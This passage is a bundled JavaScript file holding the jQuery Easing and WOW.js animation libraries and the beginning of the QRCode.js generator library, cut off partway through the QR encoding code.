/*
 * jQuery Easing v1.3.2 - http://gsgd.co.uk/sandbox/jquery/easing/
 * Open source under the BSD License.
 * Copyright © 2008 George McGinley Smith
 * All rights reserved.
 * https://raw.github.com/gdsmith/jquery-easing/master/LICENSE
*/
;(function(h) {
    h.easing.jswing = h.easing.swing;
    h.extend(h.easing, {
        def: "easeOutQuad",
        swing: function(e, a, c, b, d) {
            return h.easing[h.easing.def](e, a, c, b, d)
        },
        easeInQuad: function(e, a, c, b, d) {
            return b * (a /= d) * a + c
        },
        easeOutQuad: function(e, a, c, b, d) {
            return -b * (a /= d) * (a - 2) + c
        },
        easeInOutQuad: function(e, a, c, b, d) {
            return 1 > (a /= d / 2) ? b / 2 * a * a + c : -b / 2 * (--a * (a - 2) - 1) + c
        },
        easeInCubic: function(e, a, c, b, d) {
            return b * (a /= d) * a * a + c
        },
        easeOutCubic: function(e, a, c, b, d) {
            return b * ((a = a / d - 1) * a * a + 1) + c
        },
        easeInOutCubic: function(e, a, c, b, d) {
            return 1 > (a /= d / 2) ? b / 2 * a * a * a + c : b / 2 * ((a -= 2) * a * a + 2) + c
        },
        easeInQuart: function(e, a, c, b, d) {
            return b * (a /= d) * a * a * a + c
        },
        easeOutQuart: function(e, a, c, b, d) {
            return -b * ((a = a / d - 1) * a * a * a - 1) + c
        },
        easeInOutQuart: function(e, a, c, b, d) {
            return 1 > (a /= d / 2) ? b / 2 * a * a * a * a + c : -b / 2 * ((a -= 2) * a * a * a - 2) + c
        },
        easeInQuint: function(e, a, c, b, d) {
            return b * (a /= d) * a * a * a * a + c
        },
        easeOutQuint: function(e, a, c, b, d) {
            return b * ((a = a / d - 1) * a * a * a * a + 1) + c
        },
        easeInOutQuint: function(e, a, c, b, d) {
            return 1 > (a /= d / 2) ? b / 2 * a * a * a * a * a + c : b / 2 * ((a -= 2) * a * a * a * a + 2) + c
        },
        easeInSine: function(e, a, c, b, d) {
            return -b * Math.cos(a / d * (Math.PI / 2)) + b + c
        },
        easeOutSine: function(e, a, c, b, d) {
            return b * Math.sin(a / d * (Math.PI / 2)) + c
        },
        easeInOutSine: function(e, a, c, b, d) {
            return -b / 2 * (Math.cos(Math.PI * a / d) - 1) + c
        },
        easeInExpo: function(e, a, c, b, d) {
            return 0 == a ? c : b * Math.pow(2, 10 * (a / d - 1)) + c
        },
        easeOutExpo: function(e, a, c, b, d) {
            return a == d ? c + b : b * (-Math.pow(2, -10 * a / d) + 1) + c
        },
        easeInOutExpo: function(e, a, c, b, d) {
            return 0 == a ? c : a == d ? c + b : 1 > (a /= d / 2) ? b / 2 * Math.pow(2, 10 * (a - 1)) + c : b / 2 * (-Math.pow(2, -10 * --a) + 2) + c
        },
        easeInCirc: function(e, a, c, b, d) {
            return -b * (Math.sqrt(1 - (a /= d) * a) - 1) + c
        },
        easeOutCirc: function(e, a, c, b, d) {
            return b * Math.sqrt(1 - (a = a / d - 1) * a) + c
        },
        easeInOutCirc: function(e, a, c, b, d) {
            return 1 > (a /= d / 2) ? -b / 2 * (Math.sqrt(1 - a * a) - 1) + c : b / 2 * (Math.sqrt(1 - (a -= 2) * a) + 1) + c
        },
        easeInElastic: function(e, a, c, b, d) {
            e = 1.70158;
            var f = 0
              , g = b;
            if (0 == a)
                return c;
            if (1 == (a /= d))
                return c + b;
            f || (f = .3 * d);
            g < Math.abs(b) ? (g = b,
            e = f / 4) : e = f / (2 * Math.PI) * Math.asin(b / g);
            return -(g * Math.pow(2, 10 * --a) * Math.sin(2 * (a * d - e) * Math.PI / f)) + c
        },
        easeOutElastic: function(e, a, c, b, d) {
            e = 1.70158;
            var f = 0
              , g = b;
            if (0 == a)
                return c;
            if (1 == (a /= d))
                return c + b;
            f || (f = .3 * d);
            g < Math.abs(b) ? (g = b,
            e = f / 4) : e = f / (2 * Math.PI) * Math.asin(b / g);
            return g * Math.pow(2, -10 * a) * Math.sin(2 * (a * d - e) * Math.PI / f) + b + c
        },
        easeInOutElastic: function(e, a, c, b, d) {
            e = 1.70158;
            var f = 0
              , g = b;
            if (0 == a)
                return c;
            if (2 == (a /= d / 2))
                return c + b;
            f || (f = .3 * d * 1.5);
            g < Math.abs(b) ? (g = b,
            e = f / 4) : e = f / (2 * Math.PI) * Math.asin(b / g);
            return 1 > a ? -.5 * g * Math.pow(2, 10 * --a) * Math.sin(2 * (a * d - e) * Math.PI / f) + c : g * Math.pow(2, -10 * --a) * Math.sin(2 * (a * d - e) * Math.PI / f) * .5 + b + c
        },
        easeInBack: function(e, a, c, b, d, f) {
            void 0 == f && (f = 1.70158);
            return b * (a /= d) * a * ((f + 1) * a - f) + c
        },
        easeOutBack: function(e, a, c, b, d, f) {
            void 0 == f && (f = 1.70158);
            return b * ((a = a / d - 1) * a * ((f + 1) * a + f) + 1) + c
        },
        easeInOutBack: function(e, a, c, b, d, f) {
            void 0 == f && (f = 1.70158);
            return 1 > (a /= d / 2) ? b / 2 * a * a * (((f *= 1.525) + 1) * a - f) + c : b / 2 * ((a -= 2) * a * (((f *= 1.525) + 1) * a + f) + 2) + c
        },
        easeInBounce: function(e, a, c, b, d) {
            return b - h.easing.easeOutBounce(e, d - a, 0, b, d) + c
        },
        easeOutBounce: function(e, a, c, b, d) {
            return (a /= d) < 1 / 2.75 ? 7.5625 * b * a * a + c : a < 2 / 2.75 ? b * (7.5625 * (a -= 1.5 / 2.75) * a + .75) + c : a < 2.5 / 2.75 ? b * (7.5625 * (a -= 2.25 / 2.75) * a + .9375) + c : b * (7.5625 * (a -= 2.625 / 2.75) * a + .984375) + c
        },
        easeInOutBounce: function(e, a, c, b, d) {
            return a < d / 2 ? .5 * h.easing.easeInBounce(e, 2 * a, 0, b, d) + c : .5 * h.easing.easeOutBounce(e, 2 * a - d, 0, b, d) + .5 * b + c
        }
    })
}
)(jQuery);

/*! WOW - v1.1.2 - 2016-04-08
* Copyright (c) 2016 Matthieu Aussaguel;*/
(function() {
    var a, b, c, d, e, f = function(a, b) {
        return function() {
            return a.apply(b, arguments)
        }
    }, g = [].indexOf || function(a) {
        for (var b = 0, c = this.length; c > b; b++)
            if (b in this && this[b] === a)
                return b;
        return -1
    }
    ;
    b = function() {
        function a() {}
        return a.prototype.extend = function(a, b) {
            var c, d;
            for (c in b)
                d = b[c],
                null == a[c] && (a[c] = d);
            return a
        }
        ,
        a.prototype.isMobile = function(a) {
            return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(a)
        }
        ,
        a.prototype.createEvent = function(a, b, c, d) {
            var e;
            return null == b && (b = !1),
            null == c && (c = !1),
            null == d && (d = null),
            null != document.createEvent ? (e = document.createEvent("CustomEvent"),
            e.initCustomEvent(a, b, c, d)) : null != document.createEventObject ? (e = document.createEventObject(),
            e.eventType = a) : e.eventName = a,
            e
        }
        ,
        a.prototype.emitEvent = function(a, b) {
            return null != a.dispatchEvent ? a.dispatchEvent(b) : b in (null != a) ? a[b]() : "on" + b in (null != a) ? a["on" + b]() : void 0
        }
        ,
        a.prototype.addEvent = function(a, b, c) {
            return null != a.addEventListener ? a.addEventListener(b, c, !1) : null != a.attachEvent ? a.attachEvent("on" + b, c) : a[b] = c
        }
        ,
        a.prototype.removeEvent = function(a, b, c) {
            return null != a.removeEventListener ? a.removeEventListener(b, c, !1) : null != a.detachEvent ? a.detachEvent("on" + b, c) : delete a[b]
        }
        ,
        a.prototype.innerHeight = function() {
            return "innerHeight"in window ? window.innerHeight : document.documentElement.clientHeight
        }
        ,
        a
    }(),
    c = this.WeakMap || this.MozWeakMap || (c = function() {
        function a() {
            this.keys = [],
            this.values = []
        }
        return a.prototype.get = function(a) {
            var b, c, d, e, f;
            for (f = this.keys,
            b = d = 0,
            e = f.length; e > d; b = ++d)
                if (c = f[b],
                c === a)
                    return this.values[b]
        }
        ,
        a.prototype.set = function(a, b) {
            var c, d, e, f, g;
            for (g = this.keys,
            c = e = 0,
            f = g.length; f > e; c = ++e)
                if (d = g[c],
                d === a)
                    return void (this.values[c] = b);
            return this.keys.push(a),
            this.values.push(b)
        }
        ,
        a
    }()),
    a = this.MutationObserver || this.WebkitMutationObserver || this.MozMutationObserver || (a = function() {
        function a() {
            "undefined" != typeof console && null !== console && console.warn("MutationObserver is not supported by your browser."),
            "undefined" != typeof console && null !== console && console.warn("WOW.js cannot detect dom mutations, please call .sync() after loading new content.")
        }
        return a.notSupported = !0,
        a.prototype.observe = function() {}
        ,
        a
    }()),
    d = this.getComputedStyle || function(a, b) {
        return this.getPropertyValue = function(b) {
            var c;
            return "float" === b && (b = "styleFloat"),
            e.test(b) && b.replace(e, function(a, b) {
                return b.toUpperCase()
            }),
            (null != (c = a.currentStyle) ? c[b] : void 0) || null
        }
        ,
        this
    }
    ,
    e = /(\-([a-z]){1})/g,
    this.WOW = function() {
        function e(a) {
            null == a && (a = {}),
            this.scrollCallback = f(this.scrollCallback, this),
            this.scrollHandler = f(this.scrollHandler, this),
            this.resetAnimation = f(this.resetAnimation, this),
            this.start = f(this.start, this),
            this.scrolled = !0,
            this.config = this.util().extend(a, this.defaults),
            null != a.scrollContainer && (this.config.scrollContainer = document.querySelector(a.scrollContainer)),
            this.animationNameCache = new c,
            this.wowEvent = this.util().createEvent(this.config.boxClass)
        }
        return e.prototype.defaults = {
            boxClass: "wow",
            animateClass: "animated",
            offset: 0,
            mobile: !0,
            live: !0,
            callback: null,
            scrollContainer: null
        },
        e.prototype.init = function() {
            var a;
            return this.element = window.document.documentElement,
            "interactive" === (a = document.readyState) || "complete" === a ? this.start() : this.util().addEvent(document, "DOMContentLoaded", this.start),
            this.finished = []
        }
        ,
        e.prototype.start = function() {
            var b, c, d, e;
            if (this.stopped = !1,
            this.boxes = function() {
                var a, c, d, e;
                for (d = this.element.querySelectorAll("." + this.config.boxClass),
                e = [],
                a = 0,
                c = d.length; c > a; a++)
                    b = d[a],
                    e.push(b);
                return e
            }
            .call(this),
            this.all = function() {
                var a, c, d, e;
                for (d = this.boxes,
                e = [],
                a = 0,
                c = d.length; c > a; a++)
                    b = d[a],
                    e.push(b);
                return e
            }
            .call(this),
            this.boxes.length)
                if (this.disabled())
                    this.resetStyle();
                else
                    for (e = this.boxes,
                    c = 0,
                    d = e.length; d > c; c++)
                        b = e[c],
                        this.applyStyle(b, !0);
            return this.disabled() || (this.util().addEvent(this.config.scrollContainer || window, "scroll", this.scrollHandler),
            this.util().addEvent(window, "resize", this.scrollHandler),
            this.interval = setInterval(this.scrollCallback, 50)),
            this.config.live ? new a(function(a) {
                return function(b) {
                    var c, d, e, f, g;
                    for (g = [],
                    c = 0,
                    d = b.length; d > c; c++)
                        f = b[c],
                        g.push(function() {
                            var a, b, c, d;
                            for (c = f.addedNodes || [],
                            d = [],
                            a = 0,
                            b = c.length; b > a; a++)
                                e = c[a],
                                d.push(this.doSync(e));
                            return d
                        }
                        .call(a));
                    return g
                }
            }(this)).observe(document.body, {
                childList: !0,
                subtree: !0
            }) : void 0
        }
        ,
        e.prototype.stop = function() {
            return this.stopped = !0,
            this.util().removeEvent(this.config.scrollContainer || window, "scroll", this.scrollHandler),
            this.util().removeEvent(window, "resize", this.scrollHandler),
            null != this.interval ? clearInterval(this.interval) : void 0
        }
        ,
        e.prototype.sync = function(b) {
            return a.notSupported ? this.doSync(this.element) : void 0
        }
        ,
        e.prototype.doSync = function(a) {
            var b, c, d, e, f;
            if (null == a && (a = this.element),
            1 === a.nodeType) {
                for (a = a.parentNode || a,
                e = a.querySelectorAll("." + this.config.boxClass),
                f = [],
                c = 0,
                d = e.length; d > c; c++)
                    b = e[c],
                    g.call(this.all, b) < 0 ? (this.boxes.push(b),
                    this.all.push(b),
                    this.stopped || this.disabled() ? this.resetStyle() : this.applyStyle(b, !0),
                    f.push(this.scrolled = !0)) : f.push(void 0);
                return f
            }
        }
        ,
        e.prototype.show = function(a) {
            return this.applyStyle(a),
            a.className = a.className + " " + this.config.animateClass,
            null != this.config.callback && this.config.callback(a),
            this.util().emitEvent(a, this.wowEvent),
            this.util().addEvent(a, "animationend", this.resetAnimation),
            this.util().addEvent(a, "oanimationend", this.resetAnimation),
            this.util().addEvent(a, "webkitAnimationEnd", this.resetAnimation),
            this.util().addEvent(a, "MSAnimationEnd", this.resetAnimation),
            a
        }
        ,
        e.prototype.applyStyle = function(a, b) {
            var c, d, e;
            return d = a.getAttribute("data-wow-duration"),
            c = a.getAttribute("data-wow-delay"),
            e = a.getAttribute("data-wow-iteration"),
            this.animate(function(f) {
                return function() {
                    return f.customStyle(a, b, d, c, e)
                }
            }(this))
        }
        ,
        e.prototype.animate = function() {
            return "requestAnimationFrame"in window ? function(a) {
                return window.requestAnimationFrame(a)
            }
            : function(a) {
                return a()
            }
        }(),
        e.prototype.resetStyle = function() {
            var a, b, c, d, e;
            for (d = this.boxes,
            e = [],
            b = 0,
            c = d.length; c > b; b++)
                a = d[b],
                e.push(a.style.visibility = "visible");
            return e
        }
        ,
        e.prototype.resetAnimation = function(a) {
            var b;
            return a.type.toLowerCase().indexOf("animationend") >= 0 ? (b = a.target || a.srcElement,
            b.className = b.className.replace(this.config.animateClass, "").trim()) : void 0
        }
        ,
        e.prototype.customStyle = function(a, b, c, d, e) {
            return b && this.cacheAnimationName(a),
            a.style.visibility = b ? "hidden" : "visible",
            c && this.vendorSet(a.style, {
                animationDuration: c
            }),
            d && this.vendorSet(a.style, {
                animationDelay: d
            }),
            e && this.vendorSet(a.style, {
                animationIterationCount: e
            }),
            this.vendorSet(a.style, {
                animationName: b ? "none" : this.cachedAnimationName(a)
            }),
            a
        }
        ,
        e.prototype.vendors = ["moz", "webkit"],
        e.prototype.vendorSet = function(a, b) {
            var c, d, e, f;
            d = [];
            for (c in b)
                e = b[c],
                a["" + c] = e,
                d.push(function() {
                    var b, d, g, h;
                    for (g = this.vendors,
                    h = [],
                    b = 0,
                    d = g.length; d > b; b++)
                        f = g[b],
                        h.push(a["" + f + c.charAt(0).toUpperCase() + c.substr(1)] = e);
                    return h
                }
                .call(this));
            return d
        }
        ,
        e.prototype.vendorCSS = function(a, b) {
            var c, e, f, g, h, i;
            for (h = d(a),
            g = h.getPropertyCSSValue(b),
            f = this.vendors,
            c = 0,
            e = f.length; e > c; c++)
                i = f[c],
                g = g || h.getPropertyCSSValue("-" + i + "-" + b);
            return g
        }
        ,
        e.prototype.animationName = function(a) {
            var b;
            try {
                b = this.vendorCSS(a, "animation-name").cssText
            } catch (c) {
                b = d(a).getPropertyValue("animation-name")
            }
            return "none" === b ? "" : b
        }
        ,
        e.prototype.cacheAnimationName = function(a) {
            return this.animationNameCache.set(a, this.animationName(a))
        }
        ,
        e.prototype.cachedAnimationName = function(a) {
            return this.animationNameCache.get(a)
        }
        ,
        e.prototype.scrollHandler = function() {
            return this.scrolled = !0
        }
        ,
        e.prototype.scrollCallback = function() {
            var a;
            return !this.scrolled || (this.scrolled = !1,
            this.boxes = function() {
                var b, c, d, e;
                for (d = this.boxes,
                e = [],
                b = 0,
                c = d.length; c > b; b++)
                    a = d[b],
                    a && (this.isVisible(a) ? this.show(a) : e.push(a));
                return e
            }
            .call(this),
            this.boxes.length || this.config.live) ? void 0 : this.stop()
        }
        ,
        e.prototype.offsetTop = function(a) {
            for (var b; void 0 === a.offsetTop; )
                a = a.parentNode;
            for (b = a.offsetTop; a = a.offsetParent; )
                b += a.offsetTop;
            return b
        }
        ,
        e.prototype.isVisible = function(a) {
            var b, c, d, e, f;
            return c = a.getAttribute("data-wow-offset") || this.config.offset,
            f = this.config.scrollContainer && this.config.scrollContainer.scrollTop || window.pageYOffset,
            e = f + Math.min(this.element.clientHeight, this.util().innerHeight()) - c,
            d = this.offsetTop(a),
            b = d + a.clientHeight,
            e >= d && b >= f
        }
        ,
        e.prototype.util = function() {
            return null != this._util ? this._util : this._util = new b
        }
        ,
        e.prototype.disabled = function() {
            return !this.config.mobile && this.util().isMobile(navigator.userAgent)
        }
        ,
        e
    }()
}
).call(this);

/**
 * @fileoverview
 * - Using the 'QRCode for Javascript library'
 * - Fixed dataset of 'QRCode for Javascript library' for support full-spec.
 * - this library has no dependencies.
 * 
 * @author davidshimjs
 * @see <a href="http://www.d-project.com/" target="_blank">http://www.d-project.com/</a>
 * @see <a href="http://jeromeetienne.github.com/jquery-qrcode/" target="_blank">http://jeromeetienne.github.com/jquery-qrcode/</a>
 */
var QRCode;
!function() {
    function a(a) {
        this.mode = c.MODE_8BIT_BYTE,
        this.data = a,
        this.parsedData = [];
        for (var b = [], d = 0, e = this.data.length; e > d; d++) {
            var f = this.data.charCodeAt(d);
            f > 65536 ? (b[0] = 240 | (1835008 & f) >>> 18,
            b[1] = 128 | (258048 & f) >>> 12,
            b[2] = 128 | (4032 & f) >>> 6,
            b[3] = 128 | 63 & f) : f > 2048 ? (b[0] = 224 | (61440 & f) >>> 12,
            b[1] = 128 | (4032 & f) >>> 6,
            b[2] = 128 | 63 & f) : f > 128 ? (b[0] = 192 | (1984 & f) >>> 6,
            b[1] = 128 | 63 & f) : b[0] = f,
            this.parsedData = this.parsedData.concat(b)
        }
        this.parsedData.length != this.data.length && (this.parsedData.unshift(191),
        this.parsedData.unshift(187),
        this.parsedData.unshift(239))
    }
    function b(a, b) {
        this.typeNumber = a,
        this.errorCorrectLevel = b,
        this.modules = null,
        this.moduleCount = 0,
        this.dataCache = null,
        this.dataList = []
    }
    function i(a, b) {
        if (void 0 == a.length)
            throw new Error(a.length + "/" + b);
        for (var c = 0; c < a.length && 0 == a[c]; )
            c++;
        this.num = new Array(a.length - c + b);
        for (var d = 0; d < a.length - c; d++)
            this.num[d] = a[d + c]
    }
    function j(a, b) {
        this.totalCount = a,
        this.dataCount = b
    }
    function k() {
        this.buffer = [],
        this.length = 0
    }
    function m() {
        return "undefined" != typeof CanvasRenderingContext2D
    }
    function n() {
        var a = !1
          , b = navigator.userAgent;
        return /android/i.test(b) && (a = !0,
        aMat = b.toString().match(/android ([0-9]\.[0-9])/i),
        aMat && aMat[1] && (a = parseFloat(aMat[1]))),
        a
    }
    function r(a, b) {
        for (var c = 1, e = s(a), f = 0, g = l.length; g >= f; f++) {
            var h = 0;
            switch (b) {
            case d.L:
                h = l[f][0];
                break;
            case d.M:
                h = l[f][1];
                break;
            case d.Q:
                h = l[f][2];
                break;
            case d.H:
                h = l[f][3]
            }
            if (h >= e)
                break;
            c++
        }
        if (c > l.length)
            throw new Error("Too long data");
        return c
    }
    function s(a) {
        var b = encodeURI(a).toString().replace(/\%[0-9a-fA-F]{2}/g, "a");
        return b.length + (b.length != a ? 3 : 0)
    }
    a.prototype = {
        getLength: function() {
            return this.parsedData.length
        },
        write: function(a) {
            for (var b = 0, c = this.parsedData.length; c > b; b++)
                a.put(this.parsedData[b], 8)
        }
    },
    b.prototype = {
        addData: function(b) {
            var c = new a(b);
            this.dataList.push(c),
            this.dataCache = null
        },
        isDark: function(a, b) {
            if (0 > a || this.moduleCount <= a || 0 > b || this.moduleCount <= b)
                throw new Error(a + "," + b);
            return this.modules[a][b]
        },
        getModuleCount: function() {
            return this.moduleCount
        },
        make: function() {
            this.makeImpl(!1, this.getBestMaskPattern())
        },
        makeImpl: function(a, c) {
            this.moduleCount = 4 * this.typeNumber + 17,
            this.modules = new Array(this.moduleCount);
            for (var d = 0; d < this.moduleCount; d++) {
                this.modules[d] = new Array(this.moduleCount);
                for (var e = 0; e < this.moduleCount; e++)
                    this.modules[d][e] = null
            }
            this.setupPositionProbePattern(0, 0),
            this.setupPositionProbePattern(this.moduleCount - 7, 0),
            this.setupPositionProbePattern(0, this.moduleCount - 7),
            this.setupPositionAdjustPattern(),
            this.setupTimingPattern(),
            this.setupTypeInfo(a, c),
            this.typeNumber >= 7 && this.setupTypeNumber(a),
            null == this.dataCache && (this.dataCache = b.createData(this.typeNumber, this.errorCorrectLevel, this.dataList)),
            this.mapData(this.dataCache, c)
        },
        setupPositionProbePattern: function(a, b) {
            for (var c = -1; 7 >= c; c++)
                if (!(-1 >= a + c || this.moduleCount <= a + c))
                    for (var d = -1; 7 >= d; d++)
                        -1 >= b + d || this.moduleCount <= b + d || (this.modules[a + c][b + d] = c >= 0 && 6 >= c && (0 == d || 6 == d) || d >= 0 && 6 >= d && (0 == c || 6 == c) || c >= 2 && 4 >= c && d >= 2 && 4 >= d ? !0 : !1)
        },
        getBestMaskPattern: function() {
            for (var a = 0, b = 0, c = 0; 8 > c; c++) {
                this.makeImpl(!0, c);
                var d = f.getLostPoint(this);
                (0 == c || a > d) && (a = d,
                b = c)
            }
            return b
        },
        createMovieClip: function(a, b, c) {
            var d = a.createEmptyMovieClip(b, c)
              , e = 1;
            this.make();
            for (var f = 0; f < this.modules.length; f++)
                for (var g = f * e, h = 0; h < this.modules[f].length; h++) {
                    var i = h * e
                      , j = this.modules[f][h];
                    j && (d.beginFill(0, 100),
                    d.moveTo(i, g),
                    d.lineTo(i + e, g),
                    d.lineTo(i + e, g + e),
                    d.lineTo(i, g + e),
                    d.endFill())
                }
            return d
        },
        setupTimingPattern: function() {
            for (var a = 8; a < this.moduleCount - 8; a++)
                null == this.modules[a][6] && (this.modules[a][6] = 0 == a % 2);
            for (var b = 8; b < this.moduleCount - 8; b++)
                null == this.modules[6][b] && (this.modules[6][b] = 0 == b % 2)
        },
        setupPositionAdjustPattern: function() {
            for (var a = f.getPatternPosition(this.typeNumber), b = 0; b < a.length; b++)
                for (var c = 0; c < a.length; c++) {
                    var d = a[b]
                      , e = a[c];
                    if (null == this.modules[d][e])
                        for (var g = -2; 2 >= g; g++)
                            for (var h = -2; 2 >= h; h++)
                                this.modules[d + g][e + h] = -2 == g || 2 == g || -2 == h || 2 == h || 0 == g && 0 == h ? !0 : !1
                }
        },
        setupTypeNumber: function(a) {
            for (var b = f.getBCHTypeNumber(this.typeNumber), c = 0; 18 > c; c++) {
                var d = !a && 1 == (1 & b >> c);
                this.modules[Math.floor(c / 3)][c % 3 + this.moduleCount - 8 - 3] = d
            }
            for (var c = 0; 18 > c; c++) {
                var d = !a && 1 == (1 & b >> c);
                this.modules[c % 3 + this.moduleCount - 8 - 3][Math.floor(c / 3)] = d
            }
        },
        setupTypeInfo: function(a, b) {
            for (var c = this.errorCorrectLevel << 3 | b, d = f.getBCHTypeInfo(c), e = 0; 15 > e; e++) {
                var g = !a && 1 == (1 & d >> e);
                6 > e ? this.modules[e][8] = g : 8 > e ? this.modules[e + 1][8] = g : this.modules[this.moduleCount - 15 + e][8] = g
            }
            for (var e = 0; 15 > e; e++) {
                var g = !a && 1 == (1 & d >> e);
                8 > e ? this.modules[8][this.moduleCount - e - 1] = g : 9 > e ? this.modules[8][15 - e - 1 + 1] = g : this.modules[8][15 - e - 1] = g
            }
            this.modules[this.moduleCount - 8][8] = !a
        },
        mapData: function(a, b) {
            for (var c = -1, d = this.moduleCount - 1, e = 7, g = 0, h = this.moduleCount - 1; h > 0; h -= 2)
                for (6 == h && h--; ; ) {
                    for (var i = 0; 2 > i; i++)
                        if (null == this.modules[d][h - i]) {
                            var j = !1;
                            g < a.length && (j = 1 == (1 & a[g] >>> e));
                            var k = f.getMask(b, d, h - i);
                            k && (j = !j),
                            this.modules[d][h - i] = j,
                            e--,
                            -1 == e && (g++,
                            e = 7)
                        }
                    if (d += c,
                    0 > d || this.moduleCount <= d) {
                        d -= c,
                        c = -c;
                        break
                    }
                }
        }
    },
    b.PAD0 = 236,
    b.PAD1 = 17,
    b.createData = function(a, c, d) {
        for (var e = j.getRSBlocks(a, c), g = new k, h = 0; h < d.length; h++) {
            var i = d[h];
            g.put(i.mode, 4),
            g.put(i.getLength(), f.getLengthInBits(i.mode, a)),
            i.write(g)
        }
        for (var l = 0, h = 0; h < e.length; h++)
            l += e[h].dataCount;
        if (g.getLengthInBits() > 8 * l)
            throw new Error("code length overflow. (" + g.getLengthInBits() + ">" + 8 * l + ")");
        for (g.getLengthInBits() + 4 <= 8 * l && g.put(0, 4); 0 != g.getLengthInBits() % 8; )
            g.putBit(!1);
        for (; ; ) {
            if (g.getLengthInBits() >= 8 * l)
                break;
            if (g.put(b.PAD0, 8),
            g.getLengthInBits() >= 8 * l)
                break;
            g.put(b.PAD1, 8)
        }
        return b.createBytes(g, e)
    }
    ,
    b.createBytes = function(a, b) {
        for (var c = 0, d = 0, e = 0, g = new Array(b.length), h = new Array(b.length), j = 0; j < b.length; j++) {
            var k = b[j].dataCount
              , l = b[j].totalCount - k;
            d = Math.max(d, k),
            e = Math.max(e, l),
            g[j] = new Array(k);
            for (var m = 0; m < g[j].length; m++)
                g[j][m] = 255 & a.buffer[m + c];
            c += k;
            var n = f.getErrorCorrectPolynomial(l)
              , o = new i(g[j],n.getLength() - 1)
              , p = o.mod(n);
            h[j] = new Array(n.getLength() - 1);
            for (var m = 0; m < h[j].length; m++) {
                var q = m + p.getLength() - h[j].length;
                h[j][m] = q >= 0 ? p.get(q) : 0
            }
        }
        for (var r = 0, m = 0; m < b.length; m++)
            r += b[m].totalCount;
        for (var s = new Array(r), t = 0, m = 0; d > m; m++)
            for (var j = 0; j < b.length; j++)
                m < g[j].length && (s[t++] = g[j][m]);
        for (var m = 0; e > m; m++)
            for (var j = 0; j < b.length; j++)
                m < h[j].length && (s[t++] = h[j][m]);
        return s
    }
    ;
    for (var c = {
        MODE_NUMBER: 1,
        MODE_ALPHA_NUM: 2,
        MODE_8BIT_BYTE: 4,
        MODE_KANJI: 8
    }, d = {
        L: 1,
        M: 0,
        Q: 3,
        H: 2
    }, e = {
        PATTERN000: 0,
        PATTERN001: 1,
        PATTERN010: 2,
        PATTERN011: 3,
        PATTERN100: 4,
        PATTERN101: 5,
        PATTERN110: 6,
        PATTERN111: 7
    }, f = {
        PATTERN_POSITION_TABLE: [[], [6, 18], [6, 22], [6, 26], [6, 30], [6, 34], [6, 22, 38], [6, 24, 42], [6, 26, 46], [6, 28, 50], [6, 30, 54], [6, 32, 58], [6, 34, 62], [6, 26, 46, 66], [6, 26, 48, 70], [6, 26, 50, 74], [6, 30, 54, 78], [6, 30, 56, 82], [6, 30, 58, 86], [6, 34, 62, 90], [6, 28, 50, 72, 94], [6, 26, 50, 74, 98], [6, 30, 54, 78, 102], [6, 28, 54, 80, 106], [6, 32, 58, 84, 110], [6, 30, 58, 86, 114], [6, 34, 62, 90, 118], [6, 26, 50, 74, 98, 122], [6, 30, 54, 78, 102, 126], [6, 26, 52, 78, 104, 130], [6, 30, 56, 82, 108, 134], [6, 34, 60, 86, 112, 138], [6, 30, 58, 86, 114, 142], [6, 34, 62, 90, 118, 146], [6, 30, 54, 78, 102, 126, 150], [6, 24, 50, 76, 102, 128, 154], [6, 28, 54, 80, 106, 132, 158], [6, 32, 58, 84, 110, 136, 162], [6, 26, 54, 82, 110, 138, 166], [6, 30, 58, 86, 114, 142, 170]],
        G15: 1335,
        G18: 7973,
        G15_MASK: 21522,
        getBCHTypeInfo: function(a) {
            for (var b = a << 10; f.getBCHDigit(b) - f.getBCHDigit(f.G15) >= 0; )
                b ^= f.G15 << f.getBCHDigit(b) - f.getBCHDigit(f.G15);
            return (a << 10 | b) ^ f.G15_MASK
        },
        getBCHTypeNumber: function(a) {
            for (var b = a << 12; f.getBCHDigit(b) - f.getBCHDigit(f.G18) >= 0; )
                b ^= f.G18 << f.getBCHDigit(b) - f.getBCHDigit(f.G18);
            return a << 12 | b
        },
        getBCHDigit: function(a) {
            for (var b = 0; 0 != a; )
                b++,
                a >>>= 1;
            return b
        },
        getPatternPosition: function(a) {
            return f.PATTERN_POSITION_TABLE[a - 1]
        },
        getMask: function(a, b, c) {
            switch (a) {
            case e.PATTERN000:
                return 0 == (b + c) % 2;
            case e.PATTERN001:
                return 0 == b % 2;
            case e.PATTERN010:
                return 0 == c % 3;
            case e.PATTERN011:
                return 0 == (b + c) % 3;
            case e.PATTERN100:
                return 0 == (Math.floor(b / 2) + Math.floor(c / 3)) % 2;
            case e.PATTERN101:
                return 0 == b * c % 2 + b * c % 3;
            case e.PATTERN110:
                return 0 == (b * c % 2 + b * c % 3) % 2;
            case e.PATTERN111:
                return 0 == (b * c % 3 + (b + c) % 2) % 2;
            default:
                throw new Error("bad maskPattern:" + a)
            }
        },
        getErrorCorrectPolynomial: function(a) {
            for (var b = new i([1],0), c = 0; a > c; c++)
                b = b.multiply(new i([1, g.gexp(c)],0));
            return b
        },
        getLengthInBits: function(a, b) {
            if (b >= 1 && 10 > b)
                switch (a) {
                case c.MODE_NUMBER:
                    return 10;
                case c.MODE_ALPHA_NUM:
                    return 9;
                case c.MODE_8BIT_BYTE:
                    return 8;
                case c.MODE_KANJI:
                    return 8;
                default:
                    throw new Error("mode:" + a)
                }
            else if (27 > b)
                switch (a) {
                case c.MODE_NUMBER:
                    return 12;
                case c.MODE_ALPHA_NUM:
                    return 11;
                case c.MODE_8BIT_BYTE:
                    return 16;
                case c.MODE_KANJI:
                    return 10;
                default:
                    throw new Error("mode:" + a)
                }
            else {
                if (!(41 > b))
                    throw new Error("type:" + b);
                switch (a) {
                case c.MODE_NUMBER:
                    return 14;
                case c.MODE_ALPHA_NUM:
                    return 13;
                case c.MODE_8BIT_BYTE:
                    return 16;
                case c.MODE_KANJI:
                    return 12;
                default:
                    throw new Error("mode:" + a)
                }
            }
        },
        getLostPoint: function(a) {
            for (var b = a.getModuleCount(), c = 0, d = 0; b > d; d++)
                for (var e = 0; b > e; e++) {
                    for (var f = 0, g = a.isDark(d, e), h = -1; 1 >= h; h++)
                        if (!(0 > d + h || d + h >= b))
                            for (var i = -1; 1 >= i; i++)
                                0 > e + i || e + i >= b || (0 != h || 0 != i) && g == a.isDark(d + h, e + i) && f++;
                    f > 5 && (c += 3 + f - 5)
                }
            for (var d = 0; b - 1 > d; d++)
                for (var e = 0; b - 1 > e; e++) {
                    var j = 0;
                    a.isDark(d, e) && j++,
